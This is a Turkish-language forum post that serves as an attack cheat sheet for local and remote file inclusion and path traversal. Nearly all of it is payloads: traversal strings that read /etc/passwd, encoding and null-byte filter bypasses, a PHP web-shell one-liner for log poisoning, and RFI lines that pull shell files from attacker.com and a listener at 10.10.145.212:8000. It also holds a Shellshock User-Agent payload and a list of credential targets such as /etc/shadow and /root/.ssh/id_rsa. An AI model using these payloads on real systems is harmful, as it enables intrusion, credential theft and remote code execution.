- Katılım
- 2 Ocak 2026
- Mesajlar
- 19
- Tepkime puanı
- 22
- Puan
- 3
File Inclusion - LFI / RFI / Path Traversal
LFI (Yerel Dosya Dahil Etme) ve RFI (Uzak Dosya Dahil Etme) zafiyetleri için PoC, bypass teknikleri ve kritik dosya yolları.Temel Mantık
Uygulama, file gibi bir parametreyi sunucu tarafında dosya dahil etmek (include/require) veya okumak için kullanıyorsa, kontrolsüz girdi LFI/RFI zafiyetine yol açar.LFI: Sunucudaki yerel dosyalar okunur.
RFI: Uzaktaki bir sunucudan dosya çağrılır (PHP ise Uzaktan Kod Çalıştırma (RCE) riski taşır).
Path Traversal: ../ karakterleri ile dizin dışına çıkılır.
LFI - Hızlı Tespit
Tespit: ?file=userCV.pdf → ?file=../../../../etc/passwd dene.PoC örnek: GET /get.php?file=../../../../etc/passwd → /etc/passwd satırları dönüyorsa LFI.
Log poisoning: Webserver access/error loglarına payload yazıp ?file=/var/log/apache2/access.log ile RCE'ye çevirmeyi dene (ör. <?php system($_GET['cmd']); ?> payload).
RFI - Hızlı Tespit
Tespit: ?file=http://attacker.com/shell.txt koy → sunucu uzaktaki dosyayı include edip çalıştırıyor mu?Gereksinim: PHP için allow_url_include=On veya benzeri wrapper'ların aktif olması gerekir; yoksa RFI olmaz.
PoC: attacker hostunda basit PHP shell barındır, ?file=http://attackbox:8000/shell.txt ile dene.
Path Traversal & Bypass Teknikleri
Basit: ../../../../etc/passwd veya /etc/passwdEncoding: ..%2f..%2f..%2fetc/passwd veya double-encode: ..%252f..%252f..%252fetc/passwd
Null byte (eski PHP sürümlerinde): ../../../../etc/passwd%00
Weird forms: ....//....//etc/passwd, octal/decimal IP trickleri vb.
Null Byte + Uzantı Filtresi Bypass:/image?filename=../../../../etc/passwd%00.jpg
.jpg kısmı: Uygulama "sadece .jpg dosyalarını aç" diye bir filtre uyguluyor olabilir. Sona .jpg ekleyerek bu ilk kuralı (filtreyi) atlatırız.
%00 (Null Byte) kısmı: Bu, "metnin sonu" anlamına gelir. Sunucu, ...passwd%00.jpg dosyasını açmaya çalıştığında %00'ı görür ve "Dosya adı burada bitti" der. .jpg kısmını yok sayar ve .../etc/passwd dosyasını açmaya çalışır.
file:/etc/passwd%3F/
file:/etc%25Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:$(br)/et$(u)c%252Fpass$(te)swd%3F/
file:$(br)/et$(u)c%252Fpass$(te)swd%3F/
User-Agent () { :; }; echo ; /bin/bash -c "cat /etc/passwd" bu payload /etc/passwd dosyasının içeriğini görüntüleyebilir.
Önemli Wrapper & Teknikler
PHP wrappers: php://input, data://text/plain, ile bazı senaryolarda exploit mümkün.Log poisoning adımı: access log’a payload gönder (User-Agent veya GET param) → LFI ile log include edilirse RCE elde edilir.
File upload noktaları: upload sonrası path enjekte edilebilir; extension check bypass ile .php yüklenip include edilebilir.
Kritik Dosyalar
Linux: /etc/passwd, /etc/shadow, /root/.ssh/id_rsa, /root/.bash_history, /proc/version, webserver logları (/var/log/apache2/access.log).Windows: C:\boot.ini, C:\Windows\win.ini, IIS log dosyaları.
PoC Örnekleri
Basit LFI: GET /get.php?file=../../../../etc/passwdLog poisoning → RCE örnek akış: 1) User-Agent'a PHP kodu gönder (curl) 2) ?file=/var/log/apache2/access.log&c=whoami ile include.
RFI PoC (server izinliyse): ?file=http://10.10.145.212:8000/cmd.txt
Flag örnekleri: curl ile POST istekleri veya null-byte traversal denemeleri kullanılabilir.